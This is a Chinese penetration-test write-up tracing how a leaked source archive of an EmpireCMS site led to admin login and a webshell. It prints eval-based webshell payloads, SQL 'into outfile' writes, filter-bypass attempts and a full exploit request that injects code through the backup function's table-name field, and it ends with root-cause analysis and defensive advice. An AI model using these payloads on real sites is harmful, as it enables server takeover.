源码泄露到getshell(2)
字数 1756 2025-08-29 08:30:36
EmpireCMS 源码泄露到GetShell漏洞分析与利用
1. 漏洞背景
本文档详细分析EmpireCMS从源码泄露到最终获取服务器权限的全过程。所有漏洞均已提交至漏洞平台,且恶意操作已复原。
2. 信息收集阶段
2.1 源码泄露
通过访问 http://www.xxx.com.cn/www.zip 获取网站源码
敏感信息搜索技巧:
- 使用关键词搜索源码:
key、pwd、passwd、password - 检查
robots.txt文件,发现CMS信息为EmpireCMS
2.2 数据库信息获取
- 查询EmpireCMS数据表结构,管理员表为
phome_enewsuser - 在源码中全局搜索该表名,发现敏感信息泄露
- 获取管理员用户名、密码hash和盐值
- 解密MD5得到管理员凭证:
Kite/kite
2.3 后台地址发现
- 默认后台地址:
http://www.xxx.com.cn/e/admin/ - 确认版本号为6.6
3. 漏洞利用尝试
3.1 尝试1:JS调用登陆模版GetShell
漏洞位置:后台-模版-公共模版-js调用登陆模版
失败原因:Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist,相关表被删除
3.2 尝试2:导入数据库模型GetShell
漏洞详情:
- EmpireCMS 7.5及之前版本中
e/class/moddofun.php文件的LoadInMod函数存在安全漏洞 - 可上传任意
.mod文件实现文件上传
利用步骤:
- 创建
test.php.mod文件,内容为PHP代码 - 在后台"数据表与系统模型"中选择导入
失败原因:表不存在错误
3.3 尝试3:执行SQL语句GetShell
漏洞详情:
- EmpireCMS7.5及之前版本中
admindbDoSql.php存在代码注入漏洞 - 需要MySQL配置
secure_file_priv不当
利用Payload:
select '<?php @eval($_POST[123])?>' into outfile '绝对路径/e/admin/lyy.php'
失败原因:无法获取绝对路径,无回显执行
3.4 成功利用:备份数据GetShell
漏洞详情:
- EmpireCMS 7.5及之前版本在后台备份数据库时未验证数据库表名
- 通过修改数据库表名可实现任意代码执行
利用步骤:
- 选择任意表开始备份并抓包
- 修改
tablename字段为Payload:@eval($_POST[123])
完整请求示例:
POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Content-Type: application/x-www-form-urlencoded
Cookie: [管理员Cookie]
phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename[]=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
- 从回显获取备份文件夹名(如
hdm1010482_db_20211229152350) - 访问Webshell:
http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php
4. 漏洞原理分析
4.1 漏洞位置
e/admin/ebak/class/functions.php文件中的Ebak_DoEbak函数存在文件写入操作
4.2 关键代码
$string="<?php
\$b_table=\"".$b_table."\";
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
[...其他变量...]
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);
4.3 漏洞成因
$d_table变量直接拼接进PHP文件内容,无任何过滤$d_table来自POST参数tablename,攻击者可完全控制- 其他参数或被双引号包裹,或被强制转换为int类型,无法利用
5. 其他利用尝试
5.1 SQL写入Webshell
在获取绝对路径后尝试:
select '<?php phpinfo();?>' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'
结果:
- 语句执行成功但内容被替换为空
- 可写入普通文本文件
- PHP标签被过滤
5.2 绕过尝试
- 使用空格分隔:
<? phpinfo(); ?>- 失败 - 使用script标签:
<script language="php">phpinfo();</script>- 写入但无法执行 - ASP风格标签:
<% phpinfo(); %>- 写入但服务器不支持
6. 总结与防御建议
6.1 漏洞总结
- 通过源码泄露获取敏感信息
- 利用历史漏洞进行渗透
- 最终通过备份功能未过滤表名实现代码执行
6.2 防御建议
-
防止源码泄露:
- 删除开发环境备份文件
- 配置服务器禁止访问.zip等压缩文件
-
加固EmpireCMS:
- 升级到最新版本
- 修改默认后台路径
- 过滤备份功能中的表名参数
-
数据库安全:
- 配置MySQL的
secure_file_priv为安全值 - 使用最小权限原则设置数据库用户
- 配置MySQL的
-
服务器配置:
- 禁用危险函数
- 配置PHP禁用短标签
-
监控与日志:
- 监控异常备份操作
- 定期审计日志文件